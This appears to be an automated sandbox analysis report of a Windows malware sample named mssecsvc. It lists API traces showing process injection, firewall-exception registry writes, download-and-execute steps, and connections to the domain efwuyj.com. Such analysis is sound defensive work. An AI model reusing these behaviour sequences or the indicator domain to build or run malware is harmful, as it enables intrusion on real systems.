                                                                                                                                                                • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6E36,00000000,00000000,00000000,00000000), ref: 7FEA3DFD
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,7FEA3629,00000000,00000000), ref: 7FEA3ED8
                                                                                                                                                                • CloseHandle.KERNEL32(?,A0ADC14F), ref: 7FEA3EE1
                                                                                                                                                                • WSAStartup.WS2_32(00000101), ref: 7FEA3F66
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003820,00000000,00000000), ref: 7FEA3F81
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3F8A
                                                                                                                                                                • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3F97
                                                                                                                                                                • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4028
                                                                                                                                                                • connect.WS2_32(6F6C6902,7FEA3AA1,00000010), ref: 7FEA4042
                                                                                                                                                                • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA408C
                                                                                                                                                                • wsprintfA.USER32 ref: 7FEA410A
                                                                                                                                                                • SetEvent.KERNEL32(000002A4,?,00000000), ref: 7FEA4225
                                                                                                                                                                • Sleep.KERNEL32(00007530,?,00000000), ref: 7FEA4236
                                                                                                                                                                • ResetEvent.KERNEL32(000002A4,?,00000000), ref: 7FEA4249
                                                                                                                                                                Strings
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 7FEA4119, 7FEA4158
                                                                                                                                                                • ADVAPI32.DLL, xrefs: 7FEA3CF6
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3EA4
                                                                                                                                                                • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA4157
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateEvent$CloseHandleThread$AddressCountInformationLibraryLoadProcResetSleepStartupTickVersionVolumeconnectsocketwsprintf
                                                                                                                                                                • String ID: ADVAPI32.DLL$C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List$\DEVICE\AFD\ENDPOINT
                                                                                                                                                                • API String ID: 927156256-3386162911
                                                                                                                                                                • Opcode ID: 947b9679796d591e9ada89db576f74309ff53d0a5c4f8047994469cffe21920d
                                                                                                                                                                • Instruction ID: 41f8a3244067a1c8dd509b3612971c8a0996764845d8b26299085c2c851ffe36
                                                                                                                                                                • Opcode Fuzzy Hash: 947b9679796d591e9ada89db576f74309ff53d0a5c4f8047994469cffe21920d
                                                                                                                                                                • Instruction Fuzzy Hash: 67D1E57151A348BEDB229F34CC5ABFA7BACEF41300F00465AE8599F081DAF66F058765
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A83CCE Relevance: 35.4, APIs: 17, Strings: 3, Instructions: 364libraryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • LoadLibraryA.KERNEL32(00A83CC3), ref: 00A83CCE
                                                                                                                                                                  • Part of subcall function 00A83CE3: GetProcAddress.KERNEL32(00000000,00A83CD9), ref: 00A83CE4
                                                                                                                                                                  • Part of subcall function 00A83CE3: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00A83CF7
                                                                                                                                                                  • Part of subcall function 00A83CE3: GetTickCount.KERNEL32 ref: 00A83D2B
                                                                                                                                                                  • Part of subcall function 00A83CE3: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00A86E36,00000000,00000000,00000000,00000000), ref: 00A83DFD
                                                                                                                                                                Strings
                                                                                                                                                                • ADVAPI32.DLL, xrefs: 00A83CF6
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00A83EA4
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 00A84119, 00A84158
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: LibraryLoad$AddressCountInformationProcTickVolume
                                                                                                                                                                • String ID: ADVAPI32.DLL$C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                                                                                • API String ID: 3734769084-3720148365
                                                                                                                                                                • Opcode ID: 7ad0f1d7f704df449ae0e726f52a008a8f0387609a893f0a8a548be0f07ec017
                                                                                                                                                                • Instruction ID: ea5d3d57e46976886d94fa4c928724d4f8914ef0ba3d70c001c442cfaea3ab8f
                                                                                                                                                                • Opcode Fuzzy Hash: 7ad0f1d7f704df449ae0e726f52a008a8f0387609a893f0a8a548be0f07ec017
                                                                                                                                                                • Instruction Fuzzy Hash: 2CD1F272519259BEEF35BF24CC1ABEA3BACEF41700F000619EC599E082D6F49F4587A5
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A83CE3 Relevance: 33.6, APIs: 16, Strings: 3, Instructions: 371networklibrarythreadCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00A83CD9), ref: 00A83CE4
                                                                                                                                                                • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00A83CF7
                                                                                                                                                                • GetTickCount.KERNEL32 ref: 00A83D2B
                                                                                                                                                                • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00A86E36,00000000,00000000,00000000,00000000), ref: 00A83DFD
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,00A83629,00000000,00000000), ref: 00A83ED8
                                                                                                                                                                • CloseHandle.KERNEL32(?,A0ADC14F), ref: 00A83EE1
                                                                                                                                                                • WSAStartup.WS2_32(00000101), ref: 00A83F66
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003820,00000000,00000000), ref: 00A83F81
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000), ref: 00A83F8A
                                                                                                                                                                • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00A83F97
                                                                                                                                                                • socket.WS2_32(00000002,00000001,00000000), ref: 00A84028
                                                                                                                                                                • connect.WS2_32(6F6C6902,00A83AA1,00000010), ref: 00A84042
                                                                                                                                                                • GetVersionExA.KERNEL32(?,?,00000000), ref: 00A8408C
                                                                                                                                                                • wsprintfA.USER32 ref: 00A8410A
                                                                                                                                                                • SetEvent.KERNEL32(000002A4,?,00000000), ref: 00A84225
                                                                                                                                                                • Sleep.KERNEL32(00007530,?,00000000), ref: 00A84236
                                                                                                                                                                • ResetEvent.KERNEL32(000002A4,?,00000000), ref: 00A84249
                                                                                                                                                                Strings
                                                                                                                                                                • ADVAPI32.DLL, xrefs: 00A83CF6
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00A83EA4
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 00A84119, 00A84158
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateEvent$CloseHandleThread$AddressCountInformationLibraryLoadProcResetSleepStartupTickVersionVolumeconnectsocketwsprintf
                                                                                                                                                                • String ID: ADVAPI32.DLL$C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                                                                                • API String ID: 927156256-3720148365
                                                                                                                                                                • Opcode ID: 270319cb10f0bcb8b08eeaef24c7818c060c66a051881599226421f9e24252c5
                                                                                                                                                                • Instruction ID: dbaf77502ff00649d5639bf78a31c668d25bac3097d26a42d91f1d0d47d44669
                                                                                                                                                                • Opcode Fuzzy Hash: 270319cb10f0bcb8b08eeaef24c7818c060c66a051881599226421f9e24252c5
                                                                                                                                                                • Instruction Fuzzy Hash: 60D1F172519258BEEF35BF24CC4ABEA3BACEF41700F000619EC499E082E6F45F4587A5
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA042D Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 288memoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleHandleA.KERNEL32(00000000), ref: 7FEA04BE
                                                                                                                                                                • GetVersion.KERNEL32 ref: 7FEA0500
                                                                                                                                                                • VirtualAlloc.KERNEL32(00000000,00007700,08001000,00000040), ref: 7FEA0528
                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 7FEA05AD
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Handle$AllocCloseModuleVersionVirtual
                                                                                                                                                                • String ID: \BaseNamedObjects\futtVt$\BaseNamedObjects\futtVt$csrs
                                                                                                                                                                • API String ID: 3017432202-3037761503
                                                                                                                                                                • Opcode ID: 153d6b8474e22b40a0f04ab804704d83fe284c5cb655dda2b9faf65c0ba0e213
                                                                                                                                                                • Instruction ID: 3def8ba93c5eb006014c2e831ab91240846806d4c6bc51dc7ccb451d5d0d49ef
                                                                                                                                                                • Opcode Fuzzy Hash: 153d6b8474e22b40a0f04ab804704d83fe284c5cb655dda2b9faf65c0ba0e213
                                                                                                                                                                • Instruction Fuzzy Hash: B9B19F31505349FFEB229F20C809BFA3BA9EF45715F100528EE0A9E181D7F2AB55CB59
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA05F2 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 193stringnativeprocessCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 7FEA05AD
                                                                                                                                                                • GetModuleHandleA.KERNEL32(7FEA05EC), ref: 7FEA05F2
                                                                                                                                                                • lstrcpyW.KERNEL32(\BaseNamedObjects\futtVt,\BaseNamedObjects\futtVt), ref: 7FEA070A
                                                                                                                                                                • lstrcpyW.KERNEL32(\BaseNamedObjects\futtVt,?), ref: 7FEA072D
                                                                                                                                                                • lstrcatW.KERNEL32(\BaseNamedObjects\futtVt,\futtVt), ref: 7FEA073B
                                                                                                                                                                • NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00007700,00000000,?,00000002,00000000,00000040), ref: 7FEA076B
                                                                                                                                                                • NtOpenProcessToken.NTDLL(000000FF,00000020), ref: 7FEA0786
                                                                                                                                                                • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 7FEA07C9
                                                                                                                                                                • Process32First.KERNEL32 ref: 7FEA07DC
                                                                                                                                                                • Process32Next.KERNEL32 ref: 7FEA07ED
                                                                                                                                                                • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,00007700), ref: 7FEA0805
                                                                                                                                                                • CreateRemoteThread.KERNEL32(?,00000000,00000000,-00003BD0,00000002,00000000), ref: 7FEA0842
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?,?,00000002,00000000,00000040,00000000,00007700), ref: 7FEA085D
                                                                                                                                                                • CloseHandle.KERNEL32 ref: 7FEA086C
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Handle$Close$CreateOpenProcessProcess32lstrcpy$FirstModuleNextRemoteSectionSnapshotThreadTokenToolhelp32Viewlstrcat
                                                                                                                                                                • String ID: \BaseNamedObjects\futtVt$\BaseNamedObjects\futtVt$csrs
                                                                                                                                                                • API String ID: 1545766225-3037761503
                                                                                                                                                                • Opcode ID: becb37177b54d57dd163730ce107910a0259af3ba69fe014b6e852213aa23ad2
                                                                                                                                                                • Instruction ID: 04af5d595c2535eb0941b97766448016d425431dffd159ab86814b6ed393d192
                                                                                                                                                                • Opcode Fuzzy Hash: becb37177b54d57dd163730ce107910a0259af3ba69fe014b6e852213aa23ad2
                                                                                                                                                                • Instruction Fuzzy Hash: C0718E31505205FFDB219F20C849BBE3BBEEF85725F100128EE0A9E190C7B6AB45DB59
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A83826 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 127networksleeptimeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetSystemTime.KERNEL32(00A874C4), ref: 00A83837
                                                                                                                                                                • Sleep.KERNEL32(0000EA60), ref: 00A838A9
                                                                                                                                                                • InternetGetConnectedState.WININET(?,00000000), ref: 00A838C2
                                                                                                                                                                • gethostbyname.WS2_32(0D278065), ref: 00A83904
                                                                                                                                                                • socket.WS2_32(00000002,00000001,00000000), ref: 00A83919
                                                                                                                                                                • ioctlsocket.WS2_32(?,8004667E), ref: 00A83932
                                                                                                                                                                • connect.WS2_32(?,?,00000010), ref: 00A8394B
                                                                                                                                                                • Sleep.KERNEL32(?,00000010,BB010002,00000000,8004667E,?,00000001), ref: 00A83959
                                                                                                                                                                • closesocket.WS2_32 ref: 00A839B8
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Sleep$ConnectedInternetStateSystemTimeclosesocketconnectgethostbynameioctlsocketsocket
                                                                                                                                                                • String ID: efwuyj.com
                                                                                                                                                                • API String ID: 159131500-3343764597
                                                                                                                                                                • Opcode ID: 8a686a087b9ca882c45b70cfb202359d5926509ce2d560687b0ead4f7edf597d
                                                                                                                                                                • Instruction ID: 4143963dcf0e7239ca041d49e978a86ec104e7eeacd72acf83ea7bba5a8bb701
                                                                                                                                                                • Opcode Fuzzy Hash: 8a686a087b9ca882c45b70cfb202359d5926509ce2d560687b0ead4f7edf597d
                                                                                                                                                                • Instruction Fuzzy Hash: 7C41D172605259BADF31AF258C1DBA97A6EAF86B10F044429FA09AE0C1C7F59F01C764
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA3378 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 220filenativeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 7FEA33E2
                                                                                                                                                                • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 7FEA3401
                                                                                                                                                                • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 7FEA342B
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 7FEA3438
                                                                                                                                                                • UnmapViewOfFile.KERNEL32(?), ref: 7FEA3450
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                                                                                                                                                                • String ID: C:,$\Device\PhysicalMemory
                                                                                                                                                                • API String ID: 2985292042-1440550476
                                                                                                                                                                • Opcode ID: 63609c36914e0f5aaaa089790782cf15418ec4bcbd9e24ecbaf2f1dc02e3895b
                                                                                                                                                                • Instruction ID: 56a11edcbb1c689dbd1713449122b98a438c0060f72ca6f09a76162296ec45fe
                                                                                                                                                                • Opcode Fuzzy Hash: 63609c36914e0f5aaaa089790782cf15418ec4bcbd9e24ecbaf2f1dc02e3895b
                                                                                                                                                                • Instruction Fuzzy Hash: AE81AB71500208FFEB258F14CC89ABA7BBDEF44711F104618ED1A9F291D7B2AF558BA4
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A83378 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 220filenativeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00A833E2
                                                                                                                                                                • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00A83401
                                                                                                                                                                • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00A8342B
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00A83438
                                                                                                                                                                • UnmapViewOfFile.KERNEL32(?), ref: 00A83450
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                                                                                                                                                                • String ID: C:,$\Device\PhysicalMemory
                                                                                                                                                                • API String ID: 2985292042-1440550476
                                                                                                                                                                • Opcode ID: 7600246b580e495ad05c7ca0805d76e9f1c21725aa8668f55ecec42b6145219b
                                                                                                                                                                • Instruction ID: 5a56b28882ab47be3e616eb9fce98e4ad0339866b8094502de98cc8bd027d51f
                                                                                                                                                                • Opcode Fuzzy Hash: 7600246b580e495ad05c7ca0805d76e9f1c21725aa8668f55ecec42b6145219b
                                                                                                                                                                • Instruction Fuzzy Hash: F9817B72500208FFEB24AF14CC89AAA77BDFF44B11F104518ED199B291D7B0AF558BA8
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA339D Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 61filenativeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 7FEA33E2
                                                                                                                                                                • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 7FEA3401
                                                                                                                                                                • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 7FEA342B
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 7FEA3438
                                                                                                                                                                • UnmapViewOfFile.KERNEL32(?), ref: 7FEA3450
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                                                                                                                                                                • String ID: C:,$ysic
                                                                                                                                                                • API String ID: 2985292042-2852681185
                                                                                                                                                                • Opcode ID: 83cfc29f16e685118e4cac80380ae0b62c24e54c169c44b406135decc174f522
                                                                                                                                                                • Instruction ID: ff6e1720a4d5288448ee75bc0faa3df6a4e6c75d0573f4a9372b1c80ae80cf43
                                                                                                                                                                • Opcode Fuzzy Hash: 83cfc29f16e685118e4cac80380ae0b62c24e54c169c44b406135decc174f522
                                                                                                                                                                • Instruction Fuzzy Hash: D1118B70140709BFEB248F10CC56FAB367CEF88704F004618EA1A9F290EBF56F148A68
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A8339D Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 61filenativeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00A833E2
                                                                                                                                                                • NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00A83401
                                                                                                                                                                • MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00A8342B
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00A83438
                                                                                                                                                                • UnmapViewOfFile.KERNEL32(?), ref: 00A83450
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FileView$CloseHandleInformationOpenQuerySectionSystemUnmap
                                                                                                                                                                • String ID: C:,$ysic
                                                                                                                                                                • API String ID: 2985292042-2852681185
                                                                                                                                                                • Opcode ID: 83cfc29f16e685118e4cac80380ae0b62c24e54c169c44b406135decc174f522
                                                                                                                                                                • Instruction ID: d61033495a862d79449d7113c7683ed240ac091b86e7a8c8c70f6f5364dab123
                                                                                                                                                                • Opcode Fuzzy Hash: 83cfc29f16e685118e4cac80380ae0b62c24e54c169c44b406135decc174f522
                                                                                                                                                                • Instruction Fuzzy Hash: 58113071540609BBEB249F14CC56FAF377DEF88B14F104518EA199A290E7F46F148668
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A827A7 Relevance: 12.1, APIs: 8, Instructions: 65filenetworkprocessCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetTempFileNameA.KERNEL32(?,00A827A3,00000000,?), ref: 00A827A8
                                                                                                                                                                • CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000,?,00A827A3,00000000,?), ref: 00A827C3
                                                                                                                                                                • InternetReadFile.WININET(?,?,00000104), ref: 00A827DD
                                                                                                                                                                • WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000104,?,00000000,?,00A827A3,00000000,?), ref: 00A827F3
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000104,?,00000000,?,00A827A3,00000000,?), ref: 00A827FF
                                                                                                                                                                • CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000104,?,00000000,?,00A827A3), ref: 00A82823
                                                                                                                                                                • InternetCloseHandle.WININET(?), ref: 00A82833
                                                                                                                                                                • InternetCloseHandle.WININET(00000000), ref: 00A8283A
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$CloseHandleInternet$Create$NameProcessReadTempWrite
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3452404049-0
                                                                                                                                                                • Opcode ID: 79ba4446e2a00169ac63f746143a5fe332799a213c8ddaac65906699330d25c2
                                                                                                                                                                • Instruction ID: 6b7a132027c283a15a35f91431557dd12a2e06c43a2f6294b88dda8278af440f
                                                                                                                                                                • Opcode Fuzzy Hash: 79ba4446e2a00169ac63f746143a5fe332799a213c8ddaac65906699330d25c2
                                                                                                                                                                • Instruction Fuzzy Hash: 501169B1101606FBEB251B21CC4AFFB7A2DEF98B10F004519FA0A99090DBF49E5096A8
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA4BDD Relevance: 7.1, Strings: 5, Instructions: 887COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$AttributesCreate$MappingView
                                                                                                                                                                • String ID: !$&$&$($@
                                                                                                                                                                • API String ID: 1961427682-3998544071
                                                                                                                                                                • Opcode ID: 21eac26389e65506a090bb452afb6ca7eafd2aadc46caf54d258317c0a3eee26
                                                                                                                                                                • Instruction ID: d160895133d9cf162bec66c082b3e22aaa5d06ccca9e724cf2ac8ba926dcb566
                                                                                                                                                                • Opcode Fuzzy Hash: 21eac26389e65506a090bb452afb6ca7eafd2aadc46caf54d258317c0a3eee26
                                                                                                                                                                • Instruction Fuzzy Hash: F8822131504349EFDB26CF28C8457A97BBAEF40328F245219C82A8F195D3F6AF94CB55
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA24AE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46stringnativeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • lstrcpyW.KERNEL32(?,\BaseNamedObjects\futtVt), ref: 7FEA24BA
                                                                                                                                                                • lstrlenW.KERNEL32(?), ref: 7FEA24C1
                                                                                                                                                                • NtCreateSection.NTDLL(?,0000000E,?,?,00000040,08000000,00000000), ref: 7FEA2516
                                                                                                                                                                Strings
                                                                                                                                                                • \BaseNamedObjects\futtVt, xrefs: 7FEA24B8
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateSectionlstrcpylstrlen
                                                                                                                                                                • String ID: \BaseNamedObjects\futtVt
                                                                                                                                                                • API String ID: 2597515329-3096099617
                                                                                                                                                                • Opcode ID: 26f1be6d3f1a558f3176dddf1e69d5d37eb59f1455cfeebe3f45744a131c8c57
                                                                                                                                                                • Instruction ID: f099fa8dee803455a7de774c72dce7b0bb22e043829ee26ae1703c26912f49dd
